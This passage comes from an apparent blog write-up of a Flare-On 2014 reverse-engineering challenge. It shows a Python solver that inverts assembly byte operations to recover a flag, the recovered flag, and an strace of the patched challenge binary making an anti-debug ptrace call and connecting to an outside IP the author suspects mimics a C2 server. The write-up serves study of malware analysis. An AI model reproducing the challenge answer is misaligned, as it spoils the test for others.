### letter 13
"""
rol byte ptr [rax], 32
rol byte ptr [rax], 22
xor byte ptr [rax], 0xae
rol byte ptr [rax], 0x98
cmp byte ptr [rax], 0xf3
"""
l.append( ror(ror(ror(0xf3, 0x98) ^ 0xae, 22), 32) )
### letter 14
"""
ror byte ptr [rax], 110
add byte ptr [rax], 0xd2
cmp byte ptr [rax], 0xa6
"""
l.append( rol(0xa6 - 0xd2, 110) )
### letter 15
"""
add byte ptr [rax], 52
cmp byte ptr [rax], 98
"""
l.append( 98 - 52 )
### letter 16
"""
add byte ptr [rax], 0xcd
sub byte ptr [rax], 16
add byte ptr [rax], 98
xor byte ptr [rax], 0xb2
cmp byte ptr [rax], 50
"""
l.append( (50 ^ 0xb2) - 98 + 16 - 0xcd )
### letter 17
"""
xor byte ptr [rax], 0xb7
xor byte ptr [rax], 115
ror byte ptr [rax], 7
cmp byte ptr [rax], 0xeb
"""
l.append( rol(0xeb, 7) ^ 115 ^ 0xb7 )
### letter 18
"""
add byte ptr [rax], 52
sub byte ptr [rax], 97
ror byte ptr [rax], 54
add byte ptr [rax], 91
sub byte ptr [rax], 76
cmp byte ptr [rax], 11
"""
l.append( rol(11 + 76 - 91, 54) + 97 - 52 )
### letter 19
"""
add byte ptr [rax], 90
cmp byte ptr [rax], 0x9a
"""
l.append( 0x9a - 90 )
### letter 20
"""
ror byte ptr [rax], 0xa2
cmp byte ptr [rax], 0x99
"""
l.append( rol(0x99, 0xa2) )
### letter 21
"""
xor byte ptr [rax], 126
sub byte ptr [rax], 0xe7
cmp byte ptr [rax], 43
"""
l.append( (43 + 0xe7) ^ 126 )
### letter 22
"""
sub byte ptr [rax], 0xb8
xor byte ptr [rax], 0x86
add byte ptr [rax], 78
ror byte ptr [rax], 74
rol byte ptr [rax], 87
cmp byte ptr [rax], 0xaf
"""
l.append( ((rol(ror(0xaf, 87), 74) - 78) ^ 0x86) + 0xb8 )
### letter 23
"""
ror byte ptr [rax], 0x86
xor byte ptr [rax], 0xe8
rol byte ptr [rax], 0x95
xor byte ptr [rax], 74
xor byte ptr [rax], 0xad
cmp byte ptr [rax], 0xc3
"""
l.append( rol(ror(0xc3 ^ 0xad ^ 74, 0x95) ^ 0xe8, 0x86) )
### letter 24
"""
ror byte ptr [rax], 69
xor byte ptr [rax], 0xcc
add byte ptr [rax], 28
cmp byte ptr [rax], 3
"""
l.append( rol((3 - 28) ^ 0xcc, 69) )
### letter 25
"""
sub byte ptr [rax], 74
cmp byte ptr [rax], 0xe3
"""
l.append( 0xe3 + 74 )
### letter 26
"""
xor byte ptr [rax], 0xa5
ror byte ptr [rax], 0x90
cmp byte ptr [rax], 0xca
"""
l.append( rol(0xca, 0x90) ^ 0xa5 )
### letter 27
"""
ror byte ptr [rax], 0xde
rol byte ptr [rax], 54
xor byte ptr [rax], 120
sub byte ptr [rax], 0xd8
cmp byte ptr [rax], 62
"""
l.append( rol(ror((62 + 0xd8) ^ 120, 54), 0xde) )
### letter 28
"""
add byte ptr [rax], 0xb5
sub byte ptr [rax], 0xad
ror byte ptr [rax], 0x89
rol byte ptr [rax], 0xa2
rol byte ptr [rax], 17
cmp byte ptr [rax], 0xd8
"""
l.append( rol(ror(ror(0xd8, 17), 0xa2), 0x89) + 0xad - 0xb5 )
### letter 29
"""
add byte ptr [rax], 64
sub byte ptr [rax], 33
ror byte ptr [rax], 0xc0
cmp byte ptr [rax], 0x82
"""
l.append( rol(0x82, 0xc0) + 33 - 64 )
### letter 30
"""
rol byte ptr [rax], 0xe3
cmp byte ptr [rax], 123
"""
l.append( ror(123, 0xe3) )
### letter 31
"""
sub byte ptr [rax], 120
ror byte ptr [rax], 0xf6
cmp byte ptr [rax], 0xd7
"""
l.append( rol(0xd7, 0xf6) + 120 )
# modulo 256 applied to ensure values are in range(256)
print ''.join([chr(i % 256) for i in l])
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]
ββ$ python2 solve.py
l1nhax.hurt.u5.a1l@flare-on.com
- After giving flag as arg2 it is trying to connect with the some host, maybe try to mimic like a C2 server,
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]
ββ$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched2 4815162342 l1nhax.hurt.u5.a1l@flare-on.com
[00007e36940de557] execve("./e7bc5d2c0cf4480348f5504196561297.patched2", ["./e7bc5d2c0cf4480348f55041965612"..., "4815162342", "l1nhax.hurt.u5.a1l@flare-on.com"], 0x7fffd1dd75e8 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL) = 0x4913000
[00000000004aa78a] brk(0x49141c0) = 0x49141c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x4913880) = 0
[00000000004aa78a] brk(0x49351c0) = 0x49351c0
[00000000004aa78a] brk(0x4936000) = 0x4936000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[00007fff1a8fc114] socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
[00007fff1a8fc140] connect(3, {sa_family=AF_INET, sin_port=htons(39426), sin_addr=inet_addr("9.30.75.86")}, 16
- Here is our flag,
l1nhax.hurt.u5.a1l@flare-on.com
- Here is the flow of this program. (There might be some inaccuracy or mistake so sorry for that in advance because i am a leaner like you. π )

Flare-On 2014 Jan 2026
https://b14cky.github.io/posts/flare-on-2014/notes/
